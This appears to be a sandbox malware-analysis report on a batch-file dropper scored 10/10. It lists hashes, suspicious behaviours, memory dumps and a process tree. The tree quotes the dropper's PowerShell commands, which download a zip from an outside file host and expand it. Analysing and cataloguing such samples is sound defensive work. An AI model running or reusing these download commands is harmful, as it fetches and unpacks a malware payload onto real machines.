1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
20s
max time network
59s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
22/10/2023, 12:25

Target

tesy - Copy (10).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1540	powershell.exe
1540	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1540	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 548 wrote to memory of 1540	548	cmd.exe	87
PID 548 wrote to memory of 1540	548	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  PID:1412

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fjftlzct.x2f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1412-28-0x00007FFBB7890000-0x00007FFBB8351000-memory.dmp

Filesize
10.8MB

Download
memory/1540-5-0x00000232CAA70000-0x00000232CAA92000-memory.dmp

Filesize
136KB

Download
memory/1540-10-0x00007FFBB7890000-0x00007FFBB8351000-memory.dmp

Filesize
10.8MB

Download
memory/1540-13-0x00000232AEB70000-0x00000232AEB80000-memory.dmp

Filesize
64KB

Download
memory/1540-12-0x00000232AEB70000-0x00000232AEB80000-memory.dmp

Filesize
64KB

Download
memory/1540-11-0x00000232AEB70000-0x00000232AEB80000-memory.dmp

Filesize
64KB

Download
memory/1540-17-0x00007FFBB7890000-0x00007FFBB8351000-memory.dmp

Filesize
10.8MB

Download